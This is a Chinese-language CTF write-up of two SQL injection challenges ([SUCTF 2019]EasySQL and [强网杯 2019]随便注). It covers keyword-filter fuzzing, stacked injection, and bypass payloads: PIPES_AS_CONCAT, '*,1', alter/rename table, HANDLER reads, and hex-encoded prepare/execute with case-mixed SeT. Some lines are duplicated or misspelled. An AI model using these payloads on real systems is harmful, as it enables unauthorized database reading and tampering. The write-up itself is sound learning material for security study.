sql注入题及wp
1.[SUCTF 2019]EasySQL
打开实例如图所示
显然我们要通过这个输入框找到flag
那我们先试探一下sql注入查看,回显
先输入1,我们得到
以下呢是思路(是我看不同的wp总结来的,应该算是比较完整的了)
①永真条件测试
紧接着继续直接构造payload进行检测(如下是一个永真条件)
1 or 1=1
我们得到
说明部分字段被过滤了(应该是or)
那我们来检查一下哪些关键字被过滤了,从而来判断该使用什么过滤方式
我们用bp抓包爆一下试试(如下图
再利用关键字的字典对query进行爆破
爆破完成,查看一些像response,Length=560的关键字都是被过滤掉的
根据网上大佬推断
得出最终结论,被过滤的关键字有:
prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|
很多的关键字都被ban了,报错注入,union联合注入,盲注皆不可行,所以后面我们尝试进行堆叠注入。
②堆叠注入
进行堆叠注入,首先试着查询数据库
1;show databases;
查询如下图:
成功查询到数据库,证明堆叠注入是可行的
然后再试着查询表
1;show tables;
查询如下图:
得到一个信息Flag
看到表Flag,我们基本可以确定,flag在表Flag中。我们可能想到利用from来查询Flag,可是通过前面爆破可知,from被过滤掉了,所以只能想其他的方法了
③多试探找规律推断代码
于是我们再一个劲的试探
尝试完1,之后尝试0,2,3,4等等以及一些字母
发现只有在输入12,3,4,5等等的情况下有正常的回显,输入0或其他字符都没有回显
那根据这些总结一下,来猜测一下后端的代码:
根据前面的回显:输入1到9返回Array ( [0] => 1(此处的1可能代表Ture) ),输入0或字符没有回显,仅有的两种回显,可以判断出,后端应该使用的是逻辑或,即条件为真进行回显或条件不满足返回空白
逻辑或:|| 两边,一侧为非0数字则取1,否则取0。
推断后端代码如下
$sql = "select ".$post['query']."||flag from Flag";
ps:
在MySQL中,
||
运算符的行为取决于当前的SQL模式配置:
1. 默认情况下(未启用
PIPES_AS_CONCAT
模式)
||
是逻辑“或”(OR)运算符:
用于布尔逻辑运算,例如:
SELECT 1 || 0; -- 返回 1(因为 1 OR 0 为真) SELECT 0 || 0; -- 返回 0(因为 0 OR 0 为假)
非布尔值的隐式转换:
非布尔值(如字符串或数字)会被隐式转换为布尔值(非零为真,零为假)。
例如:SELECT 'Hello' || 'World'; -- 返回 1(两个非空字符串均视为真) SELECT 5 || 0; -- 返回 1(5为真,0为假,结果为真)
2. 启用
PIPES_AS_CONCAT
模式时
||
是字符串连接符:
用于拼接字符串,例如:
SELECT 'Hello' || ' World'; -- 返回 'Hello World' SELECT 1 || 0; -- 返回 '10'(数字隐式转为字符串后拼接)
启用方法:
在SQL模式中添加PIPES_AS_CONCAT
,例如:SET sql_mode = 'PIPES_AS_CONCAT'; -- 临时启用 -- 或修改配置文件永久生效
如何查看当前SQL模式?
SELECT @@sql_mode; -- 若结果包含 `PIPES_AS_CONCAT`,则 `||` 是字符串连接符。
于是下面再继续做这道题就有两种方法:
④
法一:启用PIPES_AS_CONCAT
模式
启用
PIPES_AS_CONCAT
模式,将||前后拼接到一起即:
1;sql_mode=PIPES_AS_CONCAT;select 1
结果如下:
法二:直接*得到
构造payload
*,1
直接得到flag如下:
已知后端语句是select 输入内容 || flag from Flag,输入*,1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag
像是个漏洞,直接输出了
select *和select 所有列的意义相同,那么我们构造的select *,1 || flag from Flag ==select *,1 from Flag
elect 输入内容 || flag from Flag,输入*,1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag
像是个漏洞,直接输出了
select *和select 所有列的意义相同,那么我们构造的select *,1 || flag from Flag ==select *,1 from Flag
2.[强网杯 2019]随便注
进入题目
判断sql注入是否存在
首先我们判断一下是否存在注入,
首先输入1提交
回显如下:
再输入1’
报错了,如下:
再试试万能公式1‘or1=1
说明存在注入
再看有几个字段
1’ order by 2;
如下:(未报错说明大于等于二)
1’ order by 3;
如下:(报错说明小于三)
可以得出只有两个字段
尝试union select
[联合查询](select查询试一下)
发现关键字select被过滤了
启用堆叠注入
爆表
1’;show databases;
暴库:
1’;show tables;
发现存在两个表“word”和一串数字
分别查看表的内容:
(先看words)
1’;show columns from words;
(再看数字)
注意查询数字类型的名称要套上反引号``
1’;show columns from 1919810931114514
;
发现有一个flag内容,应该就是我们需要的flag
下面有三种做法拿到flag
方法一:改名
①alter(修改表名或字段)
修改表名:alter table 旧表名 rename to 新表名
修改字段名:alter table 表名 change 旧字段名 新字段名 新数据类型
1'; alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag id varchar(50);#
②rename(用于修改表名)
rename命令格式:rename table 原表名 to 新表名;
1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100);#
最后,再用一下一开始的操作 id=1’ or 1=1#。得到flag
方法二:直接浏览读取
handler
handler不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:hander 表名 open;
查看数据: hander 表名 read next;
关闭表: hander 表名 read close;
1';hanader 1919810931114514 open;hander 1919810931114514 read next;hander 1919810931114514 close;
方法三:编码绕过
将被过滤的字符编码后再构造payload
由于select被过滤了,因此将select * from ` 1919810931114514``进行十六进制编码,再构造payload。
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
如下图:知识点:
-
prepare…from…是预处理语句,会进行编码转换。
-
execute用来执行由SQLPrepare创建的SQL语句。
-
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
-
构造payload
select *from1919810931114514
(注意这里使用反引号把这个数字包括住,md编辑器打不上去)
*号查询数据表里面的全部内容,这就是爆出flag的原理
进行16进制编码加密
73656c656374202a2066726f6d20603139313938313039333131313435313460
那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。
这里的set也被检测了(所以要用到大小写绕过SeT)